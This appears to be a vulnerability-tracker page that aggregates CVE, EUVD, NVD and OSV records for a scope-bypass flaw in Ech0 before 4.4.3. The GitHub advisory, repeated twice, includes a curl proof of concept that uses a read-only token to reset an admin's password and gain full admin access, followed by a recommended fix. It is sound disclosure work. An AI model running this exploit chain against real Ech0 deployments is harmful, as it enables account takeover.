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Ech0 before 4.4.3 Scope Bypass via profile:read Token

CVSS 4.0 8.5 HIGHCVSS 3.1 6.5 MEDIUMEUVD CVSS 4.0 8.5 CVSS 4.0 · [email protected] · Secondary 8.5 HIGHCVSS 3.1 · [email protected] · Secondary 6.5 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by github.com/lin-snow/ech0 4.4.3osv · severity unknownKEV status unknown

cve-program · CVE-2026-79673

Published

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.

Read the publisher's advisory

euvd · EUVD-2026-65441

Published

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.

Read the publisher's advisory

nvd · CVE-2026-79673

Published

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.

Read the publisher's advisory

osv · GHSA-hm2h-wwwh-g49x

Published

## Summary The `PUT /user` endpoint is protected by `RequireScopes("profile:read")`, which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted `profile:read` access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement. ## Details The scope enforcement system defines granular scopes (e.g., `echo:read`, `echo:write`, `admin:user`) but has no `profile:write` scope. The `PUT /user` route is protected only by `profile:read`: ```go // internal/router/user.go:40-44 appRouterGroup.AuthRouterGroup.PUT( "/user", middleware.RequireScopes(authModel.ScopeProfileRead), h.UserHandler.UpdateUser(), ) ``` The `RequireScopes` middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes: ```go // internal/middleware/scope.go:14-19 func RequireScopes(scopes ...string) gin.HandlerFunc { return func(ctx *gin.Context) { v := viewer.MustFromContext(ctx.Request.Context()) if v.TokenType() == authModel.TokenTypeSession { ctx.Next() return } // ... checks access token has required scopes (line 53) ``` The `UpdateUser` service checks `user.IsAdmin` but does not verify the token's scope is sufficient for write operations: ```go // internal/service/user/user.go:271-300 func (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error { userid := viewer.MustFromContext(ctx).UserID() user, err := userService.userRepository.GetUserByID(ctx, userid) // ... if !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } // ... if userdto.Password != "" && cryptoUtil.MD5Encrypt(userdto.Password) != user.Password { user.Password = cryptoUtil.MD5Encrypt(userdto.Password) // line 299 } ``` After the password is changed, the attacker logs in via `POST /login` which calls `issueUserToken` → `CreateClaims`, producing a session token with `Type: "session"` (jwt.go:33). Session tokens bypass `RequireScopes` entirely, granting unrestricted API access. **Escalation chain:** `profile:read` access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including `admin:settings`, `admin:user`, `admin:token`, `file:write`, etc. ## PoC ```bash # Prerequisites: Admin has created a profile:read access token for a read-only integration # The attacker has obtained this token (e.g., from compromised integration, log leak, etc.) ACCESS_TOKEN="<admin_profile_read_access_token>" SERVER="http://localhost:8080" # Step 1: Verify the token only has profile:read scope (can read profile) curl -s -X GET "$SERVER/api/user" \ -H "Authorization: Bearer $ACCESS_TOKEN" # Expected: 200 OK with user profile data # Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works) curl -s -X GET "$SERVER/api/allusers" \ -H "Authorization: Bearer $ACCESS_TOKEN" # Expected: 403 Forbidden (requires admin:user scope) # Step 3: Change the admin's password using the profile:read token curl -s -X PUT "$SERVER/api/user" \ -H "Authorization: Bearer $ACCESS_TOKEN" \ -H "Content-Type: application/json" \ -d '{"password":"attackerpass123"}' # Expected: 200 OK — password changed despite only having profile:read scope # Step 4: Login with the new password to get an unrestricted session token curl -s -X POST "$SERVER/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"attackerpass123"}' # Expected: 200 OK with session JWT token # Step 5: Use the session token to access admin-only endpoints SESSION_TOKEN="<session_token_from_step_4>" curl -s -X GET "$SERVER/api/allusers" \ -H "Authorization: Bearer $SESSION_TOKEN" # Expected: 200 OK — full admin access, all scope restrictions bypassed ``` ## Impact An attacker who obtains an admin's `profile:read` access token — intended to be the most restrictive scope available — can: 1. **Change the admin's password** without any write-level scope, violating the principle of least privilege 2. **Escalate to a full unrestricted session token** by logging in with the new credentials 3. **Gain complete admin access** including user management (`admin:user`), system settings (`admin:settings`), token management (`admin:token`), file operations (`file:write`), and all content operations 4. **Lock the original admin out** of password-based authentication (though OAuth/passkey login remains available) This defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover. ## Recommended Fix Add a `profile:write` scope and require it for the `PUT /user` endpoint: ```go // internal/model/auth/scope.go — add new scope const ( // ... existing scopes ... ScopeProfileRead = "profile:read" ScopeProfileWrite = "profile:write" // NEW ) var validScopes = map[string]struct{}{ // ... existing entries ... ScopeProfileWrite: {}, // NEW } ``` ```go // internal/router/user.go:40-44 — require profile:write for PUT appRouterGroup.AuthRouterGroup.PUT( "/user", middleware.RequireScopes(authModel.ScopeProfileWrite), // Changed from ScopeProfileRead h.UserHandler.UpdateUser(), ) ``` Similarly, update other write operations currently gated behind `profile:read`: - `POST /oauth/:provider/bind` → require `profile:write` - `POST /passkey/register/begin` and `/finish` → require `profile:write` - `DELETE /passkeys/:id` → require `profile:write` - `PUT /passkeys/:id` → require `profile:write`

Read the publisher's advisory

osv · GO-2026-5431

Published

Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.

Read the publisher's advisory

Affected versions, risk and source history

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cve-program · CVE-2026-79673

Published

Ech0 before 4.4.3 Scope Bypass via profile:read Token

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.

Source published
25 Aug 2026 11:33:33 UTC
Source modified
26 Aug 2026 16:11:39 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 8.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

euvd · EUVD-2026-65441

Published

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

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datePublished: Aug 25, 2026, 11:33:33 AM

dateUpdated: Aug 26, 2026, 4:11:39 PM

Source published
Aug 25, 2026, 11:33:33 AM (timezone not stated)
Source modified
Aug 26, 2026, 4:11:39 PM (timezone not stated)
Saved here
19 Nov 2026 18:51:06 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 8.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-79673

Published

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password …

Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-863

Original publisher date fields

published: 2026-08-25T12:16:35.680

lastModified: 2026-08-31T20:38:54.340

Source published
25 Aug 2026 12:16:35 UTC
Source modified
31 Aug 2026 20:38:54 UTC
Saved here
25 Oct 2026 16:19:10 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 8.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

osv · GHSA-hm2h-wwwh-g49x

Published

Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session

## Summary The `PUT /user` endpoint is protected by `RequireScopes("profile:read")`, which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted `profile:read` access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement. ## Details The scope enforcement system defines granular scopes (e.g., `echo:read`, `echo:write`, `admin:user`) but has no `profile:write` scope. The `PUT /user` route is protected only by `profile:read`: ```go // internal/router/user.go:40-44 appRouterGroup.AuthRouterGroup.PUT( "/user", middleware.RequireScopes(authModel.ScopeProfileRead), h.UserHandler.UpdateUser(), ) ``` The `RequireScopes` middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes: ```go // internal/middleware/scope.go:14-19 func RequireScopes(scopes ...string) gin.HandlerFunc { return func(ctx *gin.Context) { v := viewer.MustFromContext(ctx.Request.Context()) if v.TokenType() == authModel.TokenTypeSession { ctx.Next() return } // ... checks access token has required scopes (line 53) ``` The `UpdateUser` service checks `user.IsAdmin` but does not verify the token's scope is sufficient for write operations: ```go // internal/service/user/user.go:271-300 func (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error { userid := viewer.MustFromContext(ctx).UserID() user, err := userService.userRepository.GetUserByID(ctx, userid) // ... if !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } // ... if userdto.Password != "" && cryptoUtil.MD5Encrypt(userdto.Password) != user.Password { user.Password = cryptoUtil.MD5Encrypt(userdto.Password) // line 299 } ``` After the password is changed, the attacker logs in via `POST /login` which calls `issueUserToken` → `CreateClaims`, producing a session token with `Type: "session"` (jwt.go:33). Session tokens bypass `RequireScopes` entirely, granting unrestricted API access. **Escalation chain:** `profile:read` access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including `admin:settings`, `admin:user`, `admin:token`, `file:write`, etc. ## PoC ```bash # Prerequisites: Admin has created a profile:read access token for a read-only integration # The attacker has obtained this token (e.g., from compromised integration, log leak, etc.) ACCESS_TOKEN="<admin_profile_read_access_token>" SERVER="http://localhost:8080" # Step 1: Verify the token only has profile:read scope (can read profile) curl -s -X GET "$SERVER/api/user" \ -H "Authorization: Bearer $ACCESS_TOKEN" # Expected: 200 OK with user profile data # Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works) curl -s -X GET "$SERVER/api/allusers" \ -H "Authorization: Bearer $ACCESS_TOKEN" # Expected: 403 Forbidden (requires admin:user scope) # Step 3: Change the admin's password using the profile:read token curl -s -X PUT "$SERVER/api/user" \ -H "Authorization: Bearer $ACCESS_TOKEN" \ -H "Content-Type: application/json" \ -d '{"password":"attackerpass123"}' # Expected: 200 OK — password changed despite only having profile:read scope # Step 4: Login with the new password to get an unrestricted session token curl -s -X POST "$SERVER/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"attackerpass123"}' # Expected: 200 OK with session JWT token # Step 5: Use the session token to access admin-only endpoints SESSION_TOKEN="<session_token_from_step_4>" curl -s -X GET "$SERVER/api/allusers" \ -H "Authorization: Bearer $SESSION_TOKEN" # Expected: 200 OK — full admin access, all scope restrictions bypassed ``` ## Impact An attacker who obtains an admin's `profile:read` access token — intended to be the most restrictive scope available — can: 1. **Change the admin's password** without any write-level scope, violating the principle of least privilege 2. **Escalate to a full unrestricted session token** by logging in with the new credentials 3. **Gain complete admin access** including user management (`admin:user`), system settings (`admin:settings`), token management (`admin:token`), file operations (`file:write`), and all content operations 4. **Lock the original admin out** of password-based authentication (though OAuth/passkey login remains available) This defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover. ## Recommended Fix Add a `profile:write` scope and require it for the `PUT /user` endpoint: ```go // internal/model/auth/scope.go — add new scope const ( // ... existing scopes ... ScopeProfileRead = "profile:read" ScopeProfileWrite = "profile:write" // NEW ) var validScopes = map[string]struct{}{ // ... existing entries ... ScopeProfileWrite: {}, // NEW } ``` ```go // internal/router/user.go:40-44 — require profile:write for PUT appRouterGroup.AuthRouterGroup.PUT( "/user", middleware.RequireScopes(authModel.ScopeProfileWrite), // Changed from ScopeProfileRead h.UserHandler.UpdateUser(), ) ``` Similarly, update other write operations currently gated behind `profile:read`: - `POST /oauth/:provider/bind` → require `profile:write` - `POST /passkey/register/begin` and `/finish` → require `profile:write` - `DELETE /passkeys/:id` → require `profile:write` - `PUT /passkeys/:id` → require `profile:write`

Source published
10 Apr 2026 19:49:13 UTC
Source modified
27 Aug 2026 04:10:37 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Publisher rating · MODERATE

osv · GO-2026-5431

Published

Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session in github.com/lin-snow/ech0

Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.

Source published
25 Jun 2026 22:34:31 UTC
Source modified
27 Aug 2026 04:10:37 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 20 Nov 03:39 UTC · 273 of 275 readable · 269 fully read · documentation 469/469 current